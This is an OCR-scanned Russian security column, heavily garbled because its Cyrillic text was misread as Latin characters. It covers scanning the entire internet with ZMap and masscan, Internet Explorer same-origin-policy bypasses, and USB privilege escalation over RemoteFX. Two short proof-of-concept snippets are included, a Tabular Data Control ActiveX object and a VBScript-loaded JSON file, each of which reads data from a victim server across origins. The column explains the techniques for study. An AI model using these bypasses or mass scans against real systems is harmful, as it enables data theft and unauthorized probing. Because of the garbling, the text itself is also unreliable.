aQrrrdoQ@qmail.com . twitter.com/antyurin 



flPOCKAHMPOBATb BECb MHTEPHET 



PELUEHME 

MlHTGpHGT, K3K BCGM M3BGCTH0, OHGHb 6o/lbLUOM. flaXG 60J"IbLU6, HeMTbl nO AY Ma/1. M KaKTSM 

o6c~rom" nena, is/ia/io kto 3HaeT. floKonaBiiiMCb b TaKOM «KJiaAOBKe», moxho Hafrm MHoro 
MHTepecHbix uiTyK. Hy v\ pjm bchkom CTaTi/iCTi/iKM 6biBaeT nojie3HO nocKaHMTb HTO-Hn6yAb 
no-HacTO^LAeMy 6o/ibLuoe. 

Hto HaM Tpe6yeTca a/ih SToro? XenaHHe, a6y3oy cto m h i/i b bi m xoctmht, HeMHoro tvji3 
n CKO^bKO-TO BpeivieHn. I/I KOHeHHO, nepeneHb Anana30HOB IP. 

HaHHeM c KOHua. KaK M3BecTHO, He CHMTaa Toro, hto nepeneHb CBo6oAHbix Anana30- 
hob IPv4 kohhi/uich (to edb moxho whois'OM y3HaTb npMHaA-nexHOCTb /iio6oro H3 hmx), 
M3HaHanbHO Anana30Hbi 6bmn pacnpeAe/ieHbi MexAy perncipaTopaMM, hto yxe bho- 
chjio TeppnTopna/ibHoe pa3AO/ieHne. Kohghho, onpeAeneHHaa CTeneHb norpeniHOCTM 
ecTb, ho 4)aKTMHecKM ceMnac KaxAbin Anana30H «npnHaA/ie>KMT» KaKOM-TO opraHM3au,Mn 
KaKOM-TO CTpaHbi. M aKTya/ibHbie 6a3bi AaHHbix AOCTyrmbi 6ecn.naTHO b MHTepHeTe. Ilpn- 
MGpOB Macca: goo.gl/ezjgi9 , worldips.info . TaKi/iM o6pa30M, Mbi moxgm «BbiAepHyTb» ah- 
ana30Hbi KaKOM-TO CTpaHbi m CKaHHTb mx mjim CAe/iaTb aHa/iornnHoe no kohkpgthom opra- 

ui^ooi imm fona^L nr\ODno optl nnnDnnuLits i/ohui^i un nfi OTnu o \/m/q nnnon d nnonLin\/i i imv 



HOMepax). 

noneiviy He nocKam/nrb Becb MHeT — 0.0.0.0/0? KaK mmhumym noTOMy, hto b AaHHbiPi 
Anana30H nonaAaeT p^A cneu,kianbHbix Anana30HOB (a-rm 127.0.0.1/8, 10.0.0.0/8, Myjib- 
TMKacTbi m TaK Aa/iee), Aa v\ bpsmshm sto 3aMMeT MHoro. 

fla/iee — xocti/ihr CKaHMpoBaHMe nopTOB b 3aBMCMMOCTM ot CTpaHbi m npOBatiAepa 
moxgt 6biTb Hexe/iaTe/ibHbiM, a to m He3aKOHHbiM AePicTBMeM. A ecnn npi/iAeTca CKaHMTb 

HTO-TO 60/lbLJJ0e, TO nOTpe6yeTCfl BpeMfl, l/l 3T0 06fl3aTeJlbH0 33MGTMT npOBaMAOp M, B03- 

moxho, npwMeT Mepw. KoHKpGTHoro coBeTa He AaM, Jimub napa Ha6nK)AeHnPi. MexAy 
CTpaHaMM/KOHTMHeHTaMM xano6bi xoa5it pexe/ivieA-neHHeM (cKaHHTb AMepwKy M3 Aivie- 
pMKM AO/iro He nonyHHTCfl, a bot Aaxe M3 EBponbi — HOpManbHO). KpynHbie «nrpOKM» 
o6biHHO MeArnnTenbHePi/^M6epanbHeM MeHbiui/ix TOBapniAePi. TaK, a 60/ibiue roAa nepe- 
nncbiBancfl c MHAycaMM M3 Aivia30Ha, nepeA TeM KaK ohm BBenn xoTb KaKwe-TO caHKu.nn 
Ha CMCTeiviaTMHecKoe CKaHnpoBaHne. Xoth TyT Bee MHAHBMAya/ibHO. Hanprnviep, Digital 
Ocean CHanana 3a6noHi/iJi aKK h BnpTya/iKi/i, a noTOM CTa/i pa36npaTbca, 6bmo /in sto CKa- 
HnpoBaHne M/ii/i eLAe hto-to :). 

Aa/iee, Ty/i3bi h TexHO/iornn. Kohchho, neivi CKaHMTb, cnnbHO 3aBncnT ot toi~o, hto Mbi 
xothm HacKaHMTb. Ecjim B3fiTb 3a ocHOBy CKaHi/ipoBaHHe nopTOB, TO MOXHO BOCnOJlb30- 
BaTbCfl m Nmap. KaK hh CTpaHHO, ero moxho HacTpoi/iTb Ha npmiMHHbiM ypoBeHb CKopo- 
cti/1, m mn roBopmiM 06 3tom b npoiujibix HOMepax. Ho Bee xe jiyHiue ncnonb30BaTb 6onee 
cneu,nanM3npoBaHHbie BeiAn. HanpwMep ZMap win masscan . 06a CKaHepa onTHMH3npo- 
BaHbi A-n^ 6biCTporo CKaHwpoBaHMH KpynHbix ceTefi: 

• o6pa6oTKa TCP/IP-CTeKa BbmeceHa H3 HApa h pea/in30BaHa b nonb30BaTenbCKOM 
npocTpaHCTBe; 

• 3anpocbi OTnpaB/iaiOTCfl acwHxpoHHO (110 He 3anoMMHaeT, KyAa 1/1 hto 6bino OTnpaB- 
neHo); 

• o6LAaa onTMMM3au,Mq (oahh 3anpoc Ha oahh nopT) m Aonc^nnn (PF_RING). 
OnMCbiBaTb, KaKOM 1/13 hux nyHiue, He 6yAy. Mory Tirnub OTMeTi/iTb, hto ZMap 6onee npocT 

B 1/lCnO/l b30BaHMI/l. 

HecMOTpa Ha to hto C03AaTe/ib masscan yTBepxAaeT, hto TeopeTnnecKH moxho npo- 
CKaHMTb Becb HHTepHeT Ha oahh nopT 3a HecKO/ibKO MMHyT, qbaKTunecKM o6HapyxwBaeTCfl 

MHOrO nOABOAHblX KaMHeM, BJlMfllOLAUX J1H60 HaCKOpOCTb, J1l/l6o H3 TOHHOCTb MH(J)OpMaiJ,l/ll/l. 

KaK hm CTpaHHO, CKaHMpOBaHMeM Bcero MHTepHeTa (mjim ero HacTefi) jikdah 33HHMaiOT- 
C9\ CMCTeMaTMHecKM. A HeKOTopbie Aaxe BbiK/iaAbiBaiOT MTorn b CeTb. TaK, BecenbiM npw- 
Mep 6bin b 2012 roAy, KorAa oahh nenoBeK «noxaKan» c no/iMnn/inoHa AeBawcoB b MHTep- 
HeTe m 3acTaBM/i hx npocKaHMTb bckd ceTb Ha 700 nopTOB (c astcktom nopTOB). XaKaHbe 
BpoAe KaK 3aKJiK)Hanocb b He6onbLU0M noA6ope/iornHan napona (root:root, admin:admin, 
6e3 naponeM m TaK Aanee). B MTore no^yHM^ocb 9 T6 o6iAeAOCTynHbix AaHHbix. 

KoMnaHna Rapid7 (KOTOpaa AaBHO 6bma M3BecTHa CKaHMpOBaHM^Mn MMpa) HaKOHeu, 
pacKpbina cboh AaHHbie m npeA-noxuna npoeKT Sonar . B paMKax ero OHa npeAOCTaBM^a 
MTorn CKaHMpoBaHna Aec^TKa TCP- n UDP-nopTOB (c 6aHHepaMM — 2,4 T6), o6paTHbie 
DNS PTR 3anncn (50 T6), AaHHbie SSL-cepTMc|)MKaTOB co Bcex 443 nopTOB (50 T6). ATaKxe 
npeA/ioxM/ia KOMbKDHMTM AennTbcsi cbommm M3bicKaHMqMM m CKaHaMH. TaK hto y Hac yxe 
ecTb 6onbLuafl Kyna AaHHbix! OcTa^ocb Tenepb OTnapcuTb m BbincKaTb MHTepecyeMoe :). 



UbUNin 5Ur MUM IN I tKNLI LArLUKtK 



PEWEHME 

KaKTbi, HafleKDCb, 3HaeLUb, SOP (Same Origin Policy) — oflHa M3 maBHbix ochob 6e3onac- 
hocth Be6a. Ecjim CMJibHoynpocTMTb, to B3anMOAeMCTBne MexAy caMTaMM (opMflXMHaMM) 
b paMKax 6pay3epa CTporo orpaHMneHO. npocTGMLUMM npniviep: c noMoiu,bK) HBacKpMnTa, 
3arpyxeHHoro c cawia X, Mbi MOxeM noonaTb 3anpoc Ha jiio6om ApyroM caMT, ho nonyni/iTb 
OTBeT 6pay3ep HaM AacT, TonbKO ecnn stmm caMTOM 6bin X. 

no pa3/iMHHbiM npMHMHaM SOP He npeACTaBJiaeT co6om Ha6op CTporux npaBwi, koto- 
pbie Bee co6jiK)AaiOT. A-na pa3/inHHbixTexHOJiornM, MMnneMeHTauuM oh MOxeT 3HaHMTenb- 
ho OTnunaTbCfl. Microsoft, b CM/iy 6opoAaTOCTM m i/i3Bpau4eHHOCTM IE, 3Aecb TaKxe BbiAe- 
nnejcn Ha <J)OHe Apyrwx 6pay3epoB. 

Cpa3y CKaxy, hto TaM He Bee TaK nnoxo m «no/ioiviaTb Becb Be6» HaM He yAaorcfl , ho BKyc- 
hocth, KOTopbie noivioryT b TpyAHyio MMHyTy, MMeiOTca. O HeKOTOpbix H3 hmx Mbi m noroBO- 
Pmm. Cpa3y ynoM^Hy, hto, HecMOTpa Ha naAeHne KO/iMnecTBa no/ib30BaTe.neM, K)3aiOLii,nx 
ME (a oneAOBaTe/ibHO, m noTeHu,najibHoro nMnaicra cneu,nc|)MHHbix ya3BMMOCTeM), o6lamm 
npou,eHT mx Bee xe 6onbLue rmTi/iAecaTi/i, a b KopnopaTi/iBHOM ceKTope TaK eme BbiLue (ao 
cmx nop Ae-cJ)aKTO 3to CTaHAapT). flnfl yAo6cTBa a mx pa36Mn Ha HecKO/ibKO 3aAaneK. 

riepBbiM npMMep. Xota m tobopm/i Bbiiue o «caMTax», cf>aKTMHecKM b SOP penb mact 

06 OpMA>KMHaX. riOA 3TMM nOHMMaiOTCfl TpM COCTaBJlfllOLAMe: npOTOKOJl (HTTP MJ1M HTTPS), 

AOMeHHoeMMa MnopT. To ecTb http://example.com/test.html-3T0 oahhopmaxmh, https:// 
example. com:8080/test. html — APyroM (nopT m npoTOKon OT/iMHaeTca). M b to xe BpeMq 
http://www.example.com/ m http://example.com/page2/haha.xxx — oamh m tot xe opma- 

XMH (OTJIMHMe B path HM Ha HTO He BJlMfleT). 

Bee AOCTaTOHHO neTKO m npocTO, xoth m poxAaeT p^A npo6/ieM Ana pa3pa6oB. Bee 6pa- 
y3epbi npMAepxMBaKDTca AaHHOM npaKTMKM, 3a MCK/iKDneHMeivi Internet Explorer, KaKTbi Mor 
AoraAaTbca. AaHHbiM 6pay3ep npeHe6peraeT HOMepoM nopTa — TonbKO npoTOKon m ao- 
MeH. K neiviy sto npMBOAUT? HanpMMep, b npMBeAeHHOM npMMepe npo OTnpaBKy 3anpo- 
cob IE pa3peujMn 6bi HaM nonynaTb OTBeTbi Ha 3anpocbi, nocbinaeMbie HaMM Ha tot xe 
xoct, ho Ha ApyrMe nopTbi. 

Ebi/i cnynaPi Ha npaKTMKe. V KpynHOM KopnopaTMBHOM CMCTeMbi Hapyxy TopHajio He- 
CKonbKO Be6-cepBepoB (Ha pa3Hbix nopTax). Oahh — rnasHbift c ocHOBHbiM nopTanoM, 

Ha KOTOpbIM XOAM/IM nOnb30BaTeJlM, M HeCKOflbKO AOnO/lHMTe/lbHblX aAMMHMCTpaTMBHblX. 

TaK bot, b oahom M3 aAMMHCKMx cepBMCOB 6bma HaMAeHa xpaHMMaa XSS'Ka. Mm hmkto 
He no/ib30Banca, noaTOMy MMnaKT 6bm 6tim3kmm k Hy/iK). Ho, 3Haa o cneuMc|)MKe IE (o koto- 
poM He 3HanM pa3pa6bi), Mbi nonyMM/iM B03M0XH0CTb aTaKOBaTb no.nb30BaTe.neM ochobho- 
ro nopTa/ia. HaLuaXSS «Ha kpmbom nopTy» npeBpaTM/iacb b npM/iMHHyio ya3BMM0CTb BceM 

CMCTeMbi. 

M3 npaKTMKM Mory CKa3aTb, hto ecnM b MHeTe TaKMe c/iynaM peAKM (c HecKO/ibKMMM 
Be6-cepBepaMM/nopTaMM Ha oahom AOMeHe), to b KopnopaTMBHbix ceTax sto paenpo- 
CTpaHeHHaa CMTyau,Ma. 



OEOMTM SOP nOll INTERNET EXPLORER EU1E PA3 



PEUIEHHE 

llepeMAeM kabvm ApyrHM npMMepaM. Ohm AOCTaTOHHO HOBbi: 6bmn npeACTaB/ieHbi He tslk 
ASbho Ha KOHcfoepeHUMM OWASP AppSec 2014 3HaMGHMTbiM xaKepoM Ecyio XacaraBOM 
(Yosuke Hasegawa). Ohm Ha caMOM Ae/ie v\ npocTbi, m yrapHbi. 

riepBaa cf>MHa ocHOBaHa Ha oahom M3 KOMnoHeHTOB ActiveX. Bo3moxho, sto noKa- 
xeTca CTpaHHbiM, ho IE 1/13 kopo6km MMeeT npn/iMMHbM nepeneHb aKTMBi/iKcoB, npuneivi 
co CBo6oAHbiM Mcnojib30BaHneivi mx (HeT orpaHMneHMJi no AOMeHaM, Safe for scripting, 
safe for init). OTKa3biBaTbca ot stom noA03pnTe/ibHOMTexHO^ornM ohm Heco6MpaiOTCfl, A3 
m He MoryT M3-3a o6paTHOM coBMecTMMOCTM. 1/1 n He yBepeH, hto Bee KOMnoHeHTbi 6bmM 
KonaHbi-nepeKonaHbi. BeAb Ha ypoBHe ActiveX MMeiOTca bo3mo>khoctm HapywaTb SOP, 
ec/iM noTpe6yeTC«. 

Bo/iHyKDiAMM Hac KOMnoHeHT — 3to Tabular Data Control (tdc.ocx, {333C7BC4-460F- 
11D0-BC04-0080C7055A83}). C ero noMombio Mbi nonvMaeM mmhm 6a3y AaHHbix. Mbi mo- 
xeM yi<a3aTb, rAe Ha cepBepe xpaHMTca MHc^opMauM^ (o6bHHO b cf>opMaTe, noxoxeM 
Ha CVS), KaK Heo6xoAMMO pa36MBaTb AaHHbie Ha no/ia m Bnoc/ieACTBMM MMeTb bo3mox- 
HOCTb AOCTyna, OTo6paxeHMH, coptmpobkm nojiyneHHbix AaHHbix, KaK b Ta6/iMu,e. Koivino- 
HeHT no^BMnca ax b 4-m BepcMM IE (xo-xoy, eme b npouj/iOM BeKe!), a Ha caMTe MS bmcmt 
npocb6a He yAa/iHTb ero M3 hobnx BepcMM, TaK KaK y Koro-TO npM/ioxeHMH nocipoeHbi 
Ha 3tom KOMnoHeHTe. . . Caivioe MHTepecHoe f\r\9\ Hac — moxho nonynaTb AaHHbie m c Apy- 

TMX CaMTOB (0pMA>KMH0B). 

npMMep: 

<meta http-equiv= M x-ua-compatible" content="IE=10" > 

<object id="tdc"_Qndatasetcomplete="show( ) " *-> 
classid="clsid:333C7BC4-460F-llD0-BC04-0080C7055A83 ,, > 
<param name="DataURL" value="http: //victim_server . com/any_file. zxc"> 

</object> 

<script>f unction show(){ var s = document . getElementByld*-" 
("tdc") .recordset. getString(); alert( s ); }</script> 

3Aecb Mbi MHMi_i,Ma/iM3MpyeM ActiveX, b DataURLyKa3biBaeM nyTb ao (f>aM.na. B cfjyHK- 
u,mm show npocTO BbiTacKMBaeM AaHHbie. Yosuke yKa3a/i b npe3eHTau,MM Heo6xoAM MOCTb 
b nepBOM CTpoHKe, ho, HacKO/ibKO 9\ 3Haio, 3to ec/iM m Heo6xoAMMO, to TonbKO p,nn IE11 . 

K coxa/ieHMio, ecTb oaho npM/iMHHoe orpaHMneHMe a-tih nac. Aa^bi cbiMMTMpoBaTb SOP, 
b KOMnoHeHT Ao6aBM/iM Tpe6oBaHMe — npM AOCTyne k (j)aMJiaM Ha ApyroM caMTe Heo6xo- 
Ammo, HTo6bi b Hanane 4)aM/ia HaxoAM/iacb c/ieAyK)Lu,afi CTponKa: @!allow_domains=MMfi_ 
AOMeHa, 3Be3AOHKM Toxe pa6oTaiOT (@!allow_domains=*). I/Imh AOMeHa, KaK Tbi noHMMa- 
enib, — 3to MecTO, OTKyAa Mbi nbuaeMca CAO/iaTb 3anpoc. 

KoHesHO, 3to CMjibHO orpaHMHMBaeT HaujM bo3mo>khoctm no M3B/ieHeHMio (pa3yMe- 

eTCfl, MCK/IKDHMTe/lbHO B MCC/ieAOBaTe/lbCKMX U,e/l51X. — ripMM. peA-) AaHHblX, HO 6e3 3T0- 

ro Abipa 6bma 6bi npocTO orpoMHa. TaKMM o6pa30M, AaHHbie nonvHMTCfl yBecTM, TO/ibKO 
ec/iM Mbi MOxeM KOHTpojiMpoBaTb nepByio CTpoHKy 3anpaiuMBaeMoro ct>aM.na. He oneHb 
nacTO, ho CMTyau,MM TaKMe BCTpenaiOTCfl. 

llpMHeM 3aMeTb, OHM MMeHHO nOnblTa/lMCb MMMTMpOBaTb SOP. Ec/im cf)aM/i xpaHMT- 

ch Ha tom xe AOMeHe, to nepBaa CTponKa He HyxHa. Ho noAPo6HOCTM CBepKM AOMe- 
hob mjim npoTOKona, He roBopa yx o nopTax, HeM3BecTHbi. OTMeny euj,e, hto 3am,MTMTbCfl 



Ha cepBepHOM cropoHe (ecrin CTpoHKa Bee mo>kgt DbiTb AOOaB/ieHa) Henpocrro, TaK 
K3K ActiveX-KOMnoHGHT He BOcnpMHi/iMaGT hm Content-Type, hm Content-Disposition. 
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CBOflKA noflPOBHOCIVI 



Mcno/ib3y7i TDC-KOMnoHeHT, Ha defcon-russia.ru cnwnw ceKpeTC 172.16.2.12:8080 



M ELUE PA3 OBOMTI/I SOP nOfl INTERNET EXPLORER 



PELUEHME 

C/ieAyK)LLi,MMTpMKOCHOBaH Ha «no^y6are». KaKTbi3Haeiub, SOP nofiBMJicsi no3xe HTML'a, 
m y Hero ecTb pha MCKJironeHMM. TaK, KapTMHKM (Ter img) Mbi moxgm cbo6oaho «TacKaTb» 
c Apyrux caMTOB. To xe caivioe KacaeTCfl Tera script. Mbi Moxeivi yKa3aTb nyTb b napaivie- 
Tpe src ao CKpwnTa Ha jho6om AOMeHe. AanHbiM cKpum 6yAeT CKanaH m 6e3 npo6/ieM 3a- 
nyi_i_L,eH, ho yxe b paMKax Haniero caMTa. 

Ho ecTb HCK/irOHeHH?.. Boav3eo MOxeT nooBeoHTb Content-Tvoe m now HeKODoeKTHOM 



Tune 3anpeTMTb ncno/iHeHne JS. IIjikdc eme HeMHoro tohkoctgm. 

Boo6u4e, HOBbix LUTyK b 3tom o6nacTM n flaBHO He BMflen, ho nm~epecHafl HaxoflKa 6bma 
CAejiaHa b VBScript'e. 3to HeKorAa nonbiTKa MS C03flaTb KOHKypeHTa Ana JavaScript, 
AO cnx nop CHacT/inBO cyLAecTByeT b IE. I/I, comaiuycb c 3a/ieBCKMM, 3Ta TeppwTopi/m Aa- 
jieKO eiAe He nepeKonaHa ao/ixhnm o6pa30M. Kto-to Boo6Lu,e 3aHi/iMajicfl mm my6oKO? :) 

flaBaPi CHana/ia noKa>Ky carviy aiaKy, a noTOM ee pa36epeM. CKpwnT Ha HaiuePi dopoHe: 

<script> window. onerror = function( e ){ alert(e); } </script> 



<script src="http:// victim_server.com /target . json" 
language="vbscript"> </script>^ 

CoAepxuiMoe target.json — K/iaccMHecKUM JSON Array (Macci/iB): 

[secret, data, here] 

no KOAy Bee npocTO. B nepBOM CKpnm"e npocTO Bewaeivicfl Ha hbcht ajih mohmtopmh- 
ra no«B/iflK)LAMxc5i ollm6ok. A Aa/iee noAK/ironaeM (pawn c aiaKyeMoro cepBepa. 
KaK Ayvaeiub, hto npon30MAeT? 

HacKO/ibKO a noMHK), TaKwe 6arn 6bmn b 6pay3epax jieT r\9\Tb Ha3aA- ■ • fla, Mbi nonyHi/iM 
AOCTyn k AaHHbiM, KaK KTeKCTy B03HMKLueM olum6km «HecooTBeTCTBneTnna „secret, data, 
here"». 

3A©Cb ABe npMHMHbi. Bo-nepBbix, HacKOJibKO 9\ noMHK), IE He 3HaeT TaKoro Content- 
Type, KaK application/json. BpoAe TO/ibKO b IE11 Ao6aBnnn oc^nuMa/ibHO. TaK KaK koh- 
TeHT-TaMn Hen3BecTeH, IE 3anycKaeT npou,ecc content-sniffing'a. 3to TaKasi TexHO/ion/m 
(KOTOpaa JieT Aec^Tb Ha3aA 6bma aKTya/ibHa M3-3a Hepa36epnxn c TwnaiviM, Be6-cepBe- 
paMM m KOAepaMn), no kotopom 6pay3ep pa3/iMHHbiMM cnoco6aMM nbiTaeTca caM onpe- 
Ae/iMTb Tun AaHHbix b no/iyHaeMOM OTBeTe Ha 3anpoc. y IE sto aHajin3 Tejia OTBeTa m aHa- 
JIM3 pacLunpeHMfl 3anpaniMBaeMoro 4>aPi/ia (06 stom a KorAa-TO Toxe ni/ica/i). Bo-BTopbix, 
OTBeT ot cepBepa noone HeKoppeKTHoro onpeAe/ieHna ero Tuna nonaAaeT b napcep 
VBScript'a. fla/iee Bee nanynaeTCfl ziornHHo: napcep napcirr, BCTpenaeT nepByK) oiun6Ky, 
ocTaHaBjiMBaeTCfl 1/1 B03BpaiAaeT ee. 

Ha p,ene mo>kho nponirraTb He TO/ibKO JSON MaccMBbi AaHHbix. Mokho npoHMTaTb nep- 
ByK) CTpOKy, uucfjpy m TaK Aa/iee. Bo3moxho, m em,e hto-to, ho h3ao inapnTb b VBScript'e. 

3aMeny, hto JSON-oSteKT (Te, hto nepeAaKrrcfl b KpwBbix CKo6Kax), npoHMTaTb He no- 
jiyHMTCfi, TaK KaK b VBScript'e BbipaxeHne He ivioxeT Hani/iHaTbCfl c {. 

TaKxe MHTepecHbiM momcht 3aK.moHaeTCfl b tom, hto sto ecTecTBeHHoe noBeACHwe 
6pay3epa v\ ncnpaB.rmTb MS hto-to He co6wparOTCfl. 
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Coo6iMeHne c Be6-CTpaHMUbi 





| HecooTBeTCTBMe TMna: 'test, aasd, asdasd' 
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(Kawji Hafi™ OncntoHHTb Biifl P h cy h km K3lu CepBMC flpoBepKa 


Pokhm 6pay3epa: 1 El 0 Pckmm AOKyMeHToa: coBMecraMMM 


HTML CSS KoHco/ib CqeHapHM flpo^w/iM CeTb 



Mcnojib3yfi VBScript, Ha defcon-russia.ru con/in cenpeT c 192.166.56.1:8080 

nOBblCMTb nPMBMJIErMM B WINDOWS HEPE3 USB 



PELUEHME 

HoBbie TexHonorMM — Ae.no xopomee m no/ie3Hoe. A b HaiueM cc|)epe ohm noflB/iaioTCfl 
c hgmmobgphom CKopocTbio, npaM-TaKM pa3MHOxeHne noHKOBaHi/ieivi . EcTb noKpynHee 
n no3aMeTHee (KaK HTLM5), a ecTb noMeHbiue. M b coBpeivieHHbix cepbe3Hbix npoeK- 
Tax nojiynaeTca Bee 6o/ibLuee h 6ojibiuee cn/ieTeHi/ie nx. Ho noHTi/i KaxAaa TexHO/iorna 
KaK-TO CKa3biBaeTca Ha MHc^opMaunoHHOM 6e3onacHOCTM. llpi/ineM fl/ia KpynHbix npo- 
eKTOB CTaHOBMTca TpyflHO noH^Tb m npocHMTaTb Bee B03MO>KHbie noc/ieACTBua. Cefi- 
nac Mbi yBMAUM 3to Ha He6ojibLuoM npniviepe. 

BuHAa — OHa 6ojibiuafl, n noHHTHO, hto y^3BHMOCTM b Hew CMCTGMaTMHecKH Haxo- 
AflT, xoth Ha ao npn3HaTb, hto yAa/ieHHbie RCEyxe peAKOCTb. 

Oahmm M3 BeicropoB aTaK Ha noBbiiueHi/ie npuBM/ieruM BcerAa 6bmn pa3Hoo6pa3- 
Hbie ApaMBepbi p,n?\ o6opyAOBaHHH. 3to xe Kaca/iocb h USB. USB-nopTbi ecTb Ha Bcex 
coBpeMeHHbix KOMnbiOTepax, AOCTyn k hum Toxe, v\ 6bi/io MHoro pe6flT, KOTopbie no- 

4>a33MJ1M 3T0 Ae/10. MtOTOM 6blJl p^A y^3BMMOCTeM (lOK MMHMMyM DoS). Ho MMKpOCO(})T 

He oco6o o6paLu,a/i Ha sto aojio BHMMaHHe, He CHMTa/i sto AbipaMM, TaK KaK f\nn skc- 

nJiyaTaU,MM Tpe60Ba/lCa C|)M3HHeCKHpi AOCTyn K XOCTy, B03MO>KHOCTb nOAKJlKDHHTb 

k USB-nopTy cbom AeBafic. A sto, b cbokd onepeAb, Hapyiua/io oaho H3 AecflTM npaBM/i 
MB (10 Immutable Laws of Security), KOTOpbiMn pyKOBOACTByeTca MS. Ho Tenepb ko- 

e-HTO M3MeHH/IOCb. 

AyMaK), KaxAOMy M3 Hac 3HaKOM npoTOKO/i RDP (Remote Desktop Protocol), ko- 
TopbiM ncno/ib3yeTca A-na VA3~neHHoro AOCTyna k bmhac MS nooneAHi/ie roAbi 3Ha- 
HMTe/ibHO paciiinpFiJia ero bo3moxhoctm. Ohm Ao6aBM/in bo3moxhocth npo6poca 
nepwqbepuMHbix ycTpoMCTB c K/ineHTa Ha cepBep, serial-nopTOB, B03MOXHOCTb mohtm- 
pOBaHMfl K/lMeHTCKMX A^CKOB. V\ Ka3a/10Cb 6bl — BOT Tenepb Mbl MOxeM 3Kcn/iyaTMpo- 

BaTb 6arn vAa/ieHHo! noAK/ifOHaeivicq yAa/ieHHO k cepBepy no RDP, «BTbiKaeM» ycTpow- 
ctbo b cbom nopT, npoKMAbiBaeM ero i/i no/iynaeM noBbiweHHe npuBM/ieruM, Hanpi/iMep. 
Ho HeT, moxho 6bmo npo6pacbiBaTb TO/ibKO onpeAe/ieHHbiPi Ha6op ycTpoPiCTB, npuneivi 
3to nponcxoAn.no Ha bhcokom ypoBHe, noone o6pa6oTKM ApaMBepaMM Ha Kni/ieHTCKofi 
ManiMHe. TaKMM o6pa30M, npoBOA^Tb HM3KoypoBHeBbie aTa«i/i nepe3 USB 6bmo He- 

B03MO>KHO... 



% rioAK/iKDMeHne k yAa-neHHOMy pa6oMeMy crony 

~7i rinni/nmuouMP ir \/nanauuriM\/ 



X 



06biHHoe nepeHanpaB- 
jieHne ycTpoPicTB b RDP 



pa6oMeMy croiiy 



JloKanbHbie ycipoPiCTBa w pecypcw 

BbiSepnTe ycTpoftciBa n pecypcw 3Toro KOMnbioTepa. KOTopbie Bbi 
xoivue ncno^b30B3Tb bo BpeMn yjiajieHHoro ceaMca. 



@CMapT-Kapibi 

[~1ri0pTbl 

B [ZlXlpyrne no/wepxuBaeMbie PriP-ycipoflCTBa 

nycTpo^cTBa. KOTopwe 6yfl>T noflK/itoMeHbi no3xe 



OK OiweHa 



Ho Mnp He ctomt Ha Mede, n Microsoft npoAO/ixaeT pa3BMBaTb RDP m ony>K6bi 
tg p m m h a ji o b . l/l b nooneAHwx Bepcuax cepBepHOM BMHAbi (Win 2008 R2 SP1 , Win 2012) 
ohm Ao6aBM/iM HOByK) TexHO/iormo — RemoteFX. Ha caMOM Ae/ie oto He OAHa TexHO- 
nor\A9\, a ue/ibM Ha6op. HacKO/ibKO n noHMMaK), CBoew ue/ibio Microsoft CTaBMT ycTpa- 
HHTb orpaHnneHna npn ncnoj.b30BaHMi/i yAa/ieHHoro TepMHHa/ibHoro AOCTyna (KorAa 
oh ocyuuecTB/meTCfl c «TOHKoro» K/iweHTa) no cpaBHeHi/iK) c jiOKa/ibHbiM nojib30BaHneM 
KOMnbioTepoM. TaK, c noMombio RemoteFX nMeeTca B03MoxHOCTb pa6oTaTb c bmaco 
BbicoKoro pa3peLueHMfl, c 3D-rpacJ)MKOM. HacTb RemoteFX KacaeTca VoicelP i/i noA- 
AepxKM My/ibTHTana. MMXO, oneHb Kpyro, c yneTOM pocia KOJii/inecTBa n/iaHiueTOB 
h CMapTc})OHOB TaKafl TexHOJiornq 6yAeT oneHb BOCTpe6oBaHa. 



^3 Pa3peuiHTb nepenanpae 



: RDP una Apyrux noaaepwHBaeM mx USB-ycr pohctb RemotefX c atoro 



fr\ PaipeoiMTb nepeHanpaaneHwe RDP apyrwx noA<sep;*cw6aeMbix USB-ycTpotfcTB RemoteFX c sroro KOMnbfOTepa 

flpe/iwAyiiiHK nspar.'erp I GieAytowwS napar/erp I 



r Hesa/iaHO KoMMemapMit: 

<• BldKDUUTb 
<~ OTIUIIOMHTb 

noAaep*M8aeTCn: 

riapaMeTpbi: 




npaeaaocTyna ana nepeManpae^eHMB RemoteFX 
USE 



To/lbKO a^MHMHCTpaTCpbl 

[AuMiiHucrpaTcpbi h no/ib3oeaTe/in 



To/ibKO aflWMMncrpaTopbi 



CnpaBKa: 



3tot napat.ieip no/iiiTwui no3Bo.nfleT pa3pewnTb 
nepeH3npaB/ienne RDP Ana apyrux noA4epxneaeMbix USB- 
ycrpoMCTB RemoteFX c aioro KOMnbioxepa. lloAaep)KHBaeMbie 
US8-ycrpoMCTB3 RemoteFX, nepeHanpas/ieHHbie c noMoiubto 
3Toro MexaHH3Ma, He/ib3H 6yaeT Hcno/ib3CBaTb Ha KOMnbioxepe 
^OKa/ibHo. ripHMMMa b tom, <+ro RDP jaMeMiiT ^paweepbi 
Bbi6paMMbix no^ep»;MBaeMbix USB-ycipoficrB RemoteFX iu 
Apaftsepbi ycrpciicTea nepeManpae/ieHiia RemoteFX USB fl/ia 
yAa/ieMMbix pa6omix cronos, coots ercTByiomiie stum 
ycTpoiicTBaM. 

Ec/iw 3tot napaKieTp no/mmicM bk/homch, moxho npeaorraBHTb 
B03MO>KHOCTb ncno/ib30BaH!is nepeHanpaB/ieHvm Apyrw 
noAflep*:nBaeMbix USB-ycTpo£icTB RemoteFX yepej RDP ecpm 
no/ib30BaTe7isM m/im TO/ibKO MjieMaM rpynnbi "AflMHHitcTpaTopbf 



Bk/ikdhsgm RemoteFX 
Ha K/iMeiHTe 



m» KownbioTepe. 

Eoih 3tot napat.ierp nannrnicn 0TioiK>4eH MINI Me hash, flpynie 
noAaepxweaeMbie USB-ycTpoifaTea RemotefX 6yAyr HeAociynHbi 

OK OrMCHa npuMeMMTb 



Ho A-na HaiueM 3aAanki caMbiM nHTepecHbiM, kohghho, 6yfleT «RemoteFX USB 
Redirection». flyiviaio, hto Tbi yxe Bee noHH/i. OHa jxaej B03MO>KHOCTb HM3KoypOBHe- 
Boro npo6poca USB Ha cepBep. C noMombio 3tom cJ)mhm no.nb30BaTe.nn MoryT npo6po- 
CMTb Ha cepBep Jiio6oe USB-vctpomctbo. Ha K/ineHTe Aa>Ke He HaAO CTaBHTb ApoBa 
ycrrpoiiCTBa, cpa3y Ha cepBepe. A Mbi xe Moxeivi npOBOA^Tb HauuM aiaKn... 

ripHMep TaKoPi aiaKM, Act n caMa v\n,en 3Kcn/iyaTau,nn nepe3 RemoteFX, 6bmn noKa- 
3aHbi Ha Black Hat 2014 Asia 3hah A3bmcom (Andy Davis). 

